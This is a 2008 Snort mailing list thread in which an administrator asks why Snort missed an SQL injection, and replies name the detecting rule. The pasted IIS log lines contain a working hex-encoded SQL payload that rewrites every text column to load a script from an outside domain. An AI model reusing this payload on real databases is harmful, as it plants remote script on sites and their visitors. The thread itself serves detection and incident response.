Re: Undetected SQL Injection

[Leon Ward <seclists () rm-rf co uk>]

Hi, I assume Joel is referring to good old 1:13791.
SQL oversized cast statement - possible sql injection obfuscation

-Leon

On 24 Jun 2008, at 09:07, Patrik Nordlén wrote:

> Which rule is that?
>
>       /Patrik
>
> On Monday 23 June 2008 22.18.25 Joel Esler wrote:
> > There is a rule that will catch these in the most recent SQL.rules  
> > file.
> >
> > --
> > Joel Esler
> > Sent from my iPhone
> >
> > On Jun 23, 2008, at 3:15 PM, Curtis LaMasters
> >
> > <curtislamasters () gmail com> wrote:
> > > I am running Snort 2.7 on my firewalls and have still somehow been
> > > SQL injected.  I have the SQL rules, MySQL rules, IIS Rules, and a
> > > few more but it sill did not detect.  Below I have part of the IIS
> > > log where the injection (attempt) was done. I was hopeing someone
> > > could shed some light on the problem. Please let me know if I need
> > > to provide any additional information.
> > >
> > > 2008-06-23 00:30:44 10.99.4.44 GET /com/store/content.asp
> > > ContentID=10;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST
> > > (0x4445434C415245204054205641524348415228323535292C4043205641524348415
> > > 22832353529204445434C415245205461626C655F437572736F7220435552534F5220464F
> > > 522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A656374
> > > 7320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420
> > > 612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970
> > > 653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F
> > > 50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C
> > > 655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F535441
> > > 5455533D302920424547494E20455845432827555044415445205B272B40542B275D205345
> > > 54205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030
> > > 292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F777777
> > > 2E626E726164772E636F6D2F622E6A733E3C2F7363726970743E2727272920464554434820
> > > 4E4558542046524F4D20546655F437572736F7220494E544F2040542C404320454E4420434
> > > C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757
> > > 2736F7220% 20AS%20VARCHAR(4000));EXEC(@S);--|21|800a0d5d|
> > > Application_uses_a_value_of_the_wrong_type_for_the_current_operation 
> > > .
> > > 80 - 201.208.89.82 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT
> > > +5.1;+.NET+CLR+2.0.50727) 500 0 0
> > >
> > > 2008-06-23 01:23:24 10.99.4.44 GET /com/store/com_viewItem.asp
> > > idProduct=9;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST
> > > (0x4445434C415245204054205641524348415228323535292C4043205641524348415
> > > 22832353529204445434C415245205461626C655F437572736F7220435552534F5220464F
> > > 522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A656374
> > > 7320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420
> > > 612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970
> > > 653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F
> > > 50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C
> > > 655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F535441
> > > 5455533D302920424547494E20455845432827555044415445205B272B40542B275D205345
> > > 54205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030
> > > 292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F777777
> > > 2E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348
> > > 204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E
> > > 4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C65
> > > 5F437572736F7220% 20AS%20VARCHAR(4000));EXEC(@S);-- 80 -  
> > > 59.178.127.68
> > > Mozilla/4.0+ (compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR 
> > > +2.0.50727)
> > > 302 0 0
> > >
> > > Curtis LaMasters
> > > http://www.curtis-lamasters.com
> > > http://www.builtnetworks.com
> > > ---
> > > ----------------------------------------------------------------------
> > > Check out the new SourceForge.net Marketplace.
> > > It's the best place to buy or sell services for
> > > just about anything Open Source.
> > > http://sourceforge.net/services/buy/index.php
> > > _______________________________________________
> > > Snort-users mailing list
> > > Snort-users () lists sourceforge net
> > > Go to this URL to change user options or unsubscribe:
> > > https://lists.sourceforge.net/lists/listinfo/snort-users
> > > Snort-users list archive:
> > > http://www.geocrawler.com/redir-sf.php3?list=snort-users
>
>
> -------------------------------------------------------------------------
> Check out the new SourceForge.net Marketplace.
> It's the best place to buy or sell services for
> just about anything Open Source.
> http://sourceforge.net/services/buy/index.php_______________________________________________
> Snort-users mailing list
> Snort-users () lists sourceforge net
> Go to this URL to change user options or unsubscribe:
> https://lists.sourceforge.net/lists/listinfo/snort-users
> Snort-users list archive:
> http://www.geocrawler.com/redir-sf.php3?list=snort-users


-------------------------------------------------------------------------
Check out the new SourceForge.net Marketplace.
It's the best place to buy or sell services for
just about anything Open Source.
http://sourceforge.net/services/buy/index.php
_______________________________________________
Snort-users mailing list
Snort-users () lists sourceforge net
Go to this URL to change user options or unsubscribe:
https://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users